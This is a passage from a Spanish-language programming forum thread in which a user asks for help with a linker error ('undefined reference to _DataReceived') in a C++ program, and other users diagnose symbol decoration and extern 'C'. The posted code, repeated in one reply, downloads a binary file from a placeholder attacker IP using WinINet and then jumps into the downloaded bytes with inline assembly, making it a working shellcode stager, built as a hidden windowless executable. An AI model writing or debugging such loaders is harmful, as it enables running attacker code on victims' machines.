Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..

Iniciado por DonJuanPinorio, 9 Febrero 2021, 15:00 PM

0 Miembros y 1 Visitante están viendo este tema.

DonJuanPinorio

 C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived')

Código (cpp) [Seleccionar]

#include <windows.h>
#include<iostream>
#include<cstring>
#include<Wininet.h>
using namespace std;

unsigned char DataReceived[500];
int main(){
int i;

HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);

if(!connect){
cout<<"Connection Failed or Syntax error";
return 0;
}

HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(tu ip aqui)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);


if ( !OpenAddress )
{
DWORD ErrorNum = GetLastError();
cout<<"Failed to open URL \nError No: "<<ErrorNum;
InternetCloseHandle(connect);
return 0;
}

DWORD NumberOfBytesRead = 0;


while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
{

for(i=0;i<sizeof DataReceived; i++ ){

printf("\\x%02x",DataReceived[i]);

}

__asm ("lea _DataReceived, %rax");
__asm ("push %rax");
__asm ("ret");
}

InternetCloseHandle(OpenAddress);
InternetCloseHandle(connect);

return 0;
}



//////////////////////////////////////////////////////////////////////////////////////////
Este es el archivo que se crea del codigo anterior pero me da error en la linea 25 (recipe for target 'BD.exe' failed)


# Project: BD
# Makefile created by Dev-C++ 5.11

CPP      = g++.exe
CC       = gcc.exe
WINDRES  = windres.exe
OBJ      = BD.o
LINKOBJ  = BD.o
LIBS     = -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib" -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib" -static-libgcc -mwindows -lwininet
INCS     = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include"
CXXINCS  = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include/c++"
BIN      = BD.exe
CXXFLAGS = $(CXXINCS)
CFLAGS   = $(INCS)
RM       = rm.exe -f

.PHONY: all all-before all-after clean clean-custom

all: all-before $(BIN) all-after

clean: clean-custom
${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
$(CPP) $(LINKOBJ) -o $(BIN) $(LIBS)

BD.o: BD.cpp
$(CPP) -c BD.cpp -o BD.o $(CXXFLAGS)




MOD: El código debe ir entre etiquetas de Código GeSHi

Usuario887

En el ASM integrado estas poniendo:

Código (cpp) [Seleccionar]
__asm ("lea _DataReceived, %rax");

El bufer lo habias llamado DataReceived, ¿No? No _DataReceived

Cambia la linea 41 por:

Código (cpp) [Seleccionar]
__asm ("lea DataReceived, %rax");

BloodSharp

Cita de: DonJuanPinorio en  9 Febrero 2021, 15:00 PM
C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived')

Código (cpp) [Seleccionar]
extern "C" unsigned char DataReceived[500];

Cita de: marax en  9 Febrero 2021, 16:58 PMEl bufer lo habias llamado DataReceived, ¿No? No _DataReceived

Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado"...


B#



EdePC

MinGW no se hace problemas, lo compila y ejecuta normal:

Código (cpp) [Seleccionar]
#include <windows.h>
#include <iostream>
#include <cstring>
#include <Wininet.h>
using namespace std;

unsigned char DataReceived[500];

int main() {
  int i;
  HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);

  if (!connect) {
    cout << "Connection Failed or Syntax error";
    return 0;
  }

  HINTERNET OpenAddress = InternetOpenUrl(connect,"http://example.com", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
   
  if ( !OpenAddress ) {
    DWORD ErrorNum = GetLastError();
    cout << "Failed to open URL \nError No: " << ErrorNum;
    InternetCloseHandle(connect);
    return 0;
  }
   
  DWORD NumberOfBytesRead = 0;
   
  while ( InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead ) {
   
    for ( i = 0; i < sizeof DataReceived; i++ ) {
      printf("\\x%02x",DataReceived[i]);
    }
     
    __asm ("lea _DataReceived, %eax");
    __asm ("push %eax");
    __asm ("ret");
  }
   
  InternetCloseHandle(OpenAddress);
  InternetCloseHandle(connect);
   
  return 0;
}


Código (bash) [Seleccionar]
g++ -g bd.cpp -lwininet -static



De todas maneras le voy a dar una leída a los decorados y eso, ya que recién me entero que se podía meter ASM en C++ XD, en ningún libro que he leído lo mencionaba.

Usuario887

Cita de: BloodSharp en  9 Febrero 2021, 17:39 PM
Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado"...

Pero ¿No depende el decorado del compilador?
Para serte sincero, poca idea tenia del uso correcto de extern "C". Recuerdo que la primera vez que lo lei quede mas confundido que un perro delante de un espejo.
¿Entonces su unica funcion es suprimir el decorado?

Gracias por la correccion.
Saludos.




Estaba leyendo esto y parece que si... caramba cuanto tiempo sin volver a intentar entenderlo... la ultima vez era bastante mas pequeño. Bueno, y ¿Que tiene que ver eso en su problema? Aun sin mangling el nombre sigue siendo _DataReceived mientras el especifico DataReceived en su programa, ¿No?